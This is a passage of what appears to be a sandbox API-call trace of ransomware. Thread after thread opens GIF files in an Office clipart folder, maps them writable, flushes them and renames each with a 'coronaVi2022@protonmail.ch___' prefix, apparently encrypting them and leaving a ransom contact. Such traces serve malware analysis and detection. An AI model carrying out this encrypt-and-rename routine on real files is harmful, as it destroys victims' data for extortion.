	[0106.186] MapViewOfFile (hFileMappingObject=0x1098, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2360000
	[0106.186] UnmapViewOfFile (lpBaseAddress=0x2360000) returned 1
	[0106.186] CloseHandle (hObject=0x1098) returned 1
	[0106.186] GetCurrentThreadId () returned 0x1e44
	[0106.186] FlushFileBuffers (hFile=0x1094) returned 1
	[0106.398] CloseHandle (hObject=0x1094) returned 1
	[0106.399] _swprintf (in: param_1=0x3389f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___WB01245_.gif") returned 97
	[0106.399] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01245_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01245_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___WB01245_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___wb01245_.gif")) returned 1
	[0106.399] free (_Block=0x51f80b0) 
	[0106.399] RtlExitUserThread (Status=0x0) 

Thread:
	id = 886
	os_tid = 0x1e48

	[0106.188] _alloca_probe () returned 0x40328a
	[0106.189] GetCurrentThreadId () returned 0x1e48
	[0106.189] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01246_.gif", dwFileAttributes=0x80) returned 1
	[0106.189] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01246_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01246_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x109c
	[0106.190] GetFileSizeEx (in: hFile=0x109c, lpFileSize=0x348ff5c | out: lpFileSize=0x348ff5c*=462) returned 1
	[0106.190] CreateFileMappingA (hFile=0x109c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1db, lpName=0x0) returned 0x10a0
	[0106.190] MapViewOfFile (hFileMappingObject=0x10a0, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x23b0000
	[0106.190] UnmapViewOfFile (lpBaseAddress=0x23b0000) returned 1
	[0106.190] CloseHandle (hObject=0x10a0) returned 1
	[0106.190] GetCurrentThreadId () returned 0x1e48
	[0106.190] FlushFileBuffers (hFile=0x109c) returned 1
	[0106.192] CloseHandle (hObject=0x109c) returned 1
	[0106.192] _swprintf (in: param_1=0x3489f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___WB01246_.gif") returned 97
	[0106.192] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01246_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01246_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___WB01246_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___wb01246_.gif")) returned 1
	[0106.193] free (_Block=0x51fa0c0) 
	[0106.193] RtlExitUserThread (Status=0x0) 

Thread:
	id = 887
	os_tid = 0x1e4c

	[0106.195] _alloca_probe () returned 0x40328a
	[0106.196] GetCurrentThreadId () returned 0x1e4c
	[0106.196] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01253_.gif", dwFileAttributes=0x80) returned 1
	[0106.196] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01253_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01253_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10a0
	[0106.196] GetFileSizeEx (in: hFile=0x10a0, lpFileSize=0x348ff5c | out: lpFileSize=0x348ff5c*=4087) returned 1
	[0106.196] CreateFileMappingA (hFile=0x10a0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xffd, lpName=0x0) returned 0x10a4
	[0106.196] MapViewOfFile (hFileMappingObject=0x10a4, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x23b0000
	[0106.198] UnmapViewOfFile (lpBaseAddress=0x23b0000) returned 1
	[0106.198] CloseHandle (hObject=0x10a4) returned 1
	[0106.198] GetCurrentThreadId () returned 0x1e4c
	[0106.198] FlushFileBuffers (hFile=0x10a0) returned 1
	[0106.200] CloseHandle (hObject=0x10a0) returned 1
	[0106.201] _swprintf (in: param_1=0x3489f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___WB01253_.gif") returned 97
	[0106.201] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01253_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01253_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___WB01253_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___wb01253_.gif")) returned 1
	[0106.202] free (_Block=0x51f5098) 
	[0106.202] RtlExitUserThread (Status=0x0) 

Thread:
	id = 888
	os_tid = 0x1e50

	[0106.267] _alloca_probe () returned 0x40328a
	[0106.268] GetCurrentThreadId () returned 0x1e50
	[0106.268] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01268_.gif", dwFileAttributes=0x80) returned 1
	[0106.269] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01268_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01268_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10a4
	[0106.269] GetFileSizeEx (in: hFile=0x10a4, lpFileSize=0x358ff5c | out: lpFileSize=0x358ff5c*=427) returned 1
	[0106.269] CreateFileMappingA (hFile=0x10a4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1b5, lpName=0x0) returned 0x10a8
	[0106.269] MapViewOfFile (hFileMappingObject=0x10a8, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2360000
	[0106.270] UnmapViewOfFile (lpBaseAddress=0x2360000) returned 1
	[0106.270] CloseHandle (hObject=0x10a8) returned 1
	[0106.270] GetCurrentThreadId () returned 0x1e50
	[0106.270] FlushFileBuffers (hFile=0x10a4) returned 1
	[0106.271] CloseHandle (hObject=0x10a4) returned 1
	[0106.272] _swprintf (in: param_1=0x3589f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___WB01268_.gif") returned 97
	[0106.272] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01268_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01268_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___WB01268_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___wb01268_.gif")) returned 1
	[0106.273] free (_Block=0x51f60a0) 
	[0106.273] RtlExitUserThread (Status=0x0) 

Thread:
	id = 889
	os_tid = 0x1e58

	[0106.275] _alloca_probe () returned 0x40328a
	[0106.275] GetCurrentThreadId () returned 0x1e58
	[0106.275] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01292_.gif", dwFileAttributes=0x80) returned 1
	[0106.276] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01292_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01292_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10a8
	[0106.276] GetFileSizeEx (in: hFile=0x10a8, lpFileSize=0x348ff5c | out: lpFileSize=0x348ff5c*=597) returned 1
	[0106.276] CreateFileMappingA (hFile=0x10a8, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x259, lpName=0x0) returned 0x10ac
	[0106.276] MapViewOfFile (hFileMappingObject=0x10ac, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x23b0000
	[0106.277] UnmapViewOfFile (lpBaseAddress=0x23b0000) returned 1
	[0106.277] CloseHandle (hObject=0x10ac) returned 1
	[0106.277] GetCurrentThreadId () returned 0x1e58
	[0106.277] FlushFileBuffers (hFile=0x10a8) returned 1
	[0106.278] CloseHandle (hObject=0x10a8) returned 1
	[0106.279] _swprintf (in: param_1=0x3489f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___WB01292_.gif") returned 97
	[0106.279] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01292_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01292_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___WB01292_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___wb01292_.gif")) returned 1
	[0106.280] free (_Block=0x51f90b8) 
	[0106.280] RtlExitUserThread (Status=0x0) 

Thread:
	id = 890
	os_tid = 0x1e5c

	[0106.282] _alloca_probe () returned 0x40328a
	[0106.282] GetCurrentThreadId () returned 0x1e5c
	[0106.282] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01293_.gif", dwFileAttributes=0x80) returned 1
	[0106.283] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01293_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01293_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10ac
	[0106.283] GetFileSizeEx (in: hFile=0x10ac, lpFileSize=0x348ff5c | out: lpFileSize=0x348ff5c*=679) returned 1
	[0106.283] CreateFileMappingA (hFile=0x10ac, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2ad, lpName=0x0) returned 0x10b0
	[0106.283] MapViewOfFile (hFileMappingObject=0x10b0, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x23b0000
	[0106.283] UnmapViewOfFile (lpBaseAddress=0x23b0000) returned 1
	[0106.283] CloseHandle (hObject=0x10b0) returned 1
	[0106.284] GetCurrentThreadId () returned 0x1e5c
	[0106.284] FlushFileBuffers (hFile=0x10ac) returned 1
	[0106.291] CloseHandle (hObject=0x10ac) returned 1
	[0106.292] _swprintf (in: param_1=0x3489f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___WB01293_.gif") returned 97
	[0106.292] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01293_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01293_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___WB01293_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___wb01293_.gif")) returned 1
	[0106.295] free (_Block=0x51f4090) 
	[0106.295] RtlExitUserThread (Status=0x0) 

Thread:
	id = 891
	os_tid = 0x1e60

	[0106.293] _alloca_probe () returned 0x40328a
	[0106.293] GetCurrentThreadId () returned 0x1e60
	[0106.293] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01294_.gif", dwFileAttributes=0x80) returned 1
	[0106.294] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01294_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01294_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10b4
	[0106.294] GetFileSizeEx (in: hFile=0x10b4, lpFileSize=0x358ff5c | out: lpFileSize=0x358ff5c*=685) returned 1
	[0106.294] CreateFileMappingA (hFile=0x10b4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2b9, lpName=0x0) returned 0x10ac
	[0106.295] MapViewOfFile (hFileMappingObject=0x10ac, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2360000
	[0106.296] UnmapViewOfFile (lpBaseAddress=0x2360000) returned 1
	[0106.296] CloseHandle (hObject=0x10ac) returned 1
	[0106.296] GetCurrentThreadId () returned 0x1e60
	[0106.296] FlushFileBuffers (hFile=0x10b4) returned 1
	[0106.298] CloseHandle (hObject=0x10b4) returned 1
	[0106.298] _swprintf (in: param_1=0x3589f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___WB01294_.gif") returned 97
	[0106.298] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01294_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01294_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___WB01294_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___wb01294_.gif")) returned 1
	[0106.300] free (_Block=0x51f5098) 
	[0106.300] RtlExitUserThread (Status=0x0) 

Thread:
	id = 892
	os_tid = 0x1e64

	[0106.301] _alloca_probe () returned 0x40328a
	[0106.302] GetCurrentThreadId () returned 0x1e64
	[0106.302] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01295_.gif", dwFileAttributes=0x80) returned 1
	[0106.302] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01295_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01295_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10ac
	[0106.302] GetFileSizeEx (in: hFile=0x10ac, lpFileSize=0x348ff5c | out: lpFileSize=0x348ff5c*=353) returned 1
	[0106.302] CreateFileMappingA (hFile=0x10ac, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x161, lpName=0x0) returned 0x10b8
	[0106.303] MapViewOfFile (hFileMappingObject=0x10b8, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x23b0000
	[0106.303] UnmapViewOfFile (lpBaseAddress=0x23b0000) returned 1
	[0106.303] CloseHandle (hObject=0x10b8) returned 1
	[0106.303] GetCurrentThreadId () returned 0x1e64
	[0106.303] FlushFileBuffers (hFile=0x10ac) returned 1
	[0106.305] CloseHandle (hObject=0x10ac) returned 1
	[0106.305] _swprintf (in: param_1=0x3489f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___WB01295_.gif") returned 97
	[0106.305] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01295_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01295_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___WB01295_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___wb01295_.gif")) returned 1
	[0106.306] free (_Block=0x51f60a0) 
	[0106.306] RtlExitUserThread (Status=0x0) 

Thread:
	id = 893
	os_tid = 0x1e68

	[0106.307] _alloca_probe () returned 0x40328a
	[0106.308] GetCurrentThreadId () returned 0x1e68
	[0106.308] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01296_.gif", dwFileAttributes=0x80) returned 1
	[0106.309] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01296_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01296_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10b8
	[0106.309] GetFileSizeEx (in: hFile=0x10b8, lpFileSize=0x348ff5c | out: lpFileSize=0x348ff5c*=495) returned 1
	[0106.309] CreateFileMappingA (hFile=0x10b8, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1fd, lpName=0x0) returned 0x10bc
	[0106.309] MapViewOfFile (hFileMappingObject=0x10bc, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x23b0000
	[0106.309] UnmapViewOfFile (lpBaseAddress=0x23b0000) returned 1
	[0106.309] CloseHandle (hObject=0x10bc) returned 1
	[0106.309] GetCurrentThreadId () returned 0x1e68
	[0106.310] FlushFileBuffers (hFile=0x10b8) returned 1
	[0106.314] CloseHandle (hObject=0x10b8) returned 1
	[0106.314] _swprintf (in: param_1=0x3489f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___WB01296_.gif") returned 97
	[0106.314] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01296_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01296_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___WB01296_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___wb01296_.gif")) returned 1
	[0106.315] free (_Block=0x51f4090) 
	[0106.315] RtlExitUserThread (Status=0x0) 

Thread:
	id = 894
	os_tid = 0x1e6c

	[0106.317] _alloca_probe () returned 0x40328a
	[0106.318] GetCurrentThreadId () returned 0x1e6c
	[0106.318] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01297_.gif", dwFileAttributes=0x80) returned 1
	[0106.318] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01297_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01297_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10bc
	[0106.318] GetFileSizeEx (in: hFile=0x10bc, lpFileSize=0x348ff5c | out: lpFileSize=0x348ff5c*=894) returned 1
	[0106.318] CreateFileMappingA (hFile=0x10bc, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x38b, lpName=0x0) returned 0x10c0
	[0106.318] MapViewOfFile (hFileMappingObject=0x10c0, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x23b0000
	[0106.319] UnmapViewOfFile (lpBaseAddress=0x23b0000) returned 1
	[0106.319] CloseHandle (hObject=0x10c0) returned 1
	[0106.319] GetCurrentThreadId () returned 0x1e6c
	[0106.319] FlushFileBuffers (hFile=0x10bc) returned 1
	[0106.321] CloseHandle (hObject=0x10bc) returned 1
	[0106.322] _swprintf (in: param_1=0x3489f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___WB01297_.gif") returned 97
	[0106.322] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01297_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01297_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___WB01297_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___wb01297_.gif")) returned 1
	[0106.323] free (_Block=0x51f90b8) 
	[0106.323] RtlExitUserThread (Status=0x0) 

Thread:
	id = 895
	os_tid = 0x1e70

	[0106.324] _alloca_probe () returned 0x40328a
	[0106.324] GetCurrentThreadId () returned 0x1e70
	[0106.324] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01298_.gif", dwFileAttributes=0x80) returned 1
	[0106.324] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01298_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01298_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c0
	[0106.326] GetFileSizeEx (in: hFile=0x10c0, lpFileSize=0x358ff5c | out: lpFileSize=0x358ff5c*=700) returned 1
	[0106.326] CreateFileMappingA (hFile=0x10c0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2c7, lpName=0x0) returned 0x10c4
	[0106.326] MapViewOfFile (hFileMappingObject=0x10c4, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2360000
	[0106.326] UnmapViewOfFile (lpBaseAddress=0x2360000) returned 1
	[0106.327] CloseHandle (hObject=0x10c4) returned 1
	[0106.327] GetCurrentThreadId () returned 0x1e70
	[0106.327] FlushFileBuffers (hFile=0x10c0) returned 1
	[0106.329] CloseHandle (hObject=0x10c0) returned 1
	[0106.329] _swprintf (in: param_1=0x3589f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___WB01298_.gif") returned 97
	[0106.329] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01298_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01298_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___WB01298_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___wb01298_.gif")) returned 1
	[0106.330] free (_Block=0x51f3088) 
	[0106.330] RtlExitUserThread (Status=0x0) 

Thread:
	id = 896
	os_tid = 0x1e74

	[0106.333] _alloca_probe () returned 0x40328a
	[0106.333] GetCurrentThreadId () returned 0x1e74
	[0106.333] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01299_.gif", dwFileAttributes=0x80) returned 1
	[0106.333] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01299_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01299_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c4
	[0106.334] GetFileSizeEx (in: hFile=0x10c4, lpFileSize=0x348ff5c | out: lpFileSize=0x348ff5c*=318) returned 1
	[0106.334] CreateFileMappingA (hFile=0x10c4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x14b, lpName=0x0) returned 0x10c8
	[0106.334] MapViewOfFile (hFileMappingObject=0x10c8, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x23b0000
	[0106.334] UnmapViewOfFile (lpBaseAddress=0x23b0000) returned 1
	[0106.334] CloseHandle (hObject=0x10c8) returned 1
	[0106.334] GetCurrentThreadId () returned 0x1e74
	[0106.334] FlushFileBuffers (hFile=0x10c4) returned 1
	[0106.337] CloseHandle (hObject=0x10c4) returned 1
	[0106.337] _swprintf (in: param_1=0x3489f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___WB01299_.gif") returned 97
	[0106.337] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01299_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01299_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___WB01299_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___wb01299_.gif")) returned 1
	[0106.338] free (_Block=0x51fa0c0) 
	[0106.338] RtlExitUserThread (Status=0x0) 

Thread:
	id = 897
	os_tid = 0x1e78

	[0106.340] _alloca_probe () returned 0x40328a
	[0106.341] GetCurrentThreadId () returned 0x1e78
	[0106.341] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01300_.gif", dwFileAttributes=0x80) returned 1
	[0106.341] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01300_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01300_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c8
	[0106.342] GetFileSizeEx (in: hFile=0x10c8, lpFileSize=0x348ff5c | out: lpFileSize=0x348ff5c*=592) returned 1
	[0106.342] CreateFileMappingA (hFile=0x10c8, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x250, lpName=0x0) returned 0x10cc
	[0106.342] MapViewOfFile (hFileMappingObject=0x10cc, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x23b0000
	[0106.342] UnmapViewOfFile (lpBaseAddress=0x23b0000) returned 1
	[0106.342] CloseHandle (hObject=0x10cc) returned 1
	[0106.342] GetCurrentThreadId () returned 0x1e78
	[0106.342] FlushFileBuffers (hFile=0x10c8) returned 1
	[0106.344] CloseHandle (hObject=0x10c8) returned 1
	[0106.344] _swprintf (in: param_1=0x3489f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___WB01300_.gif") returned 97
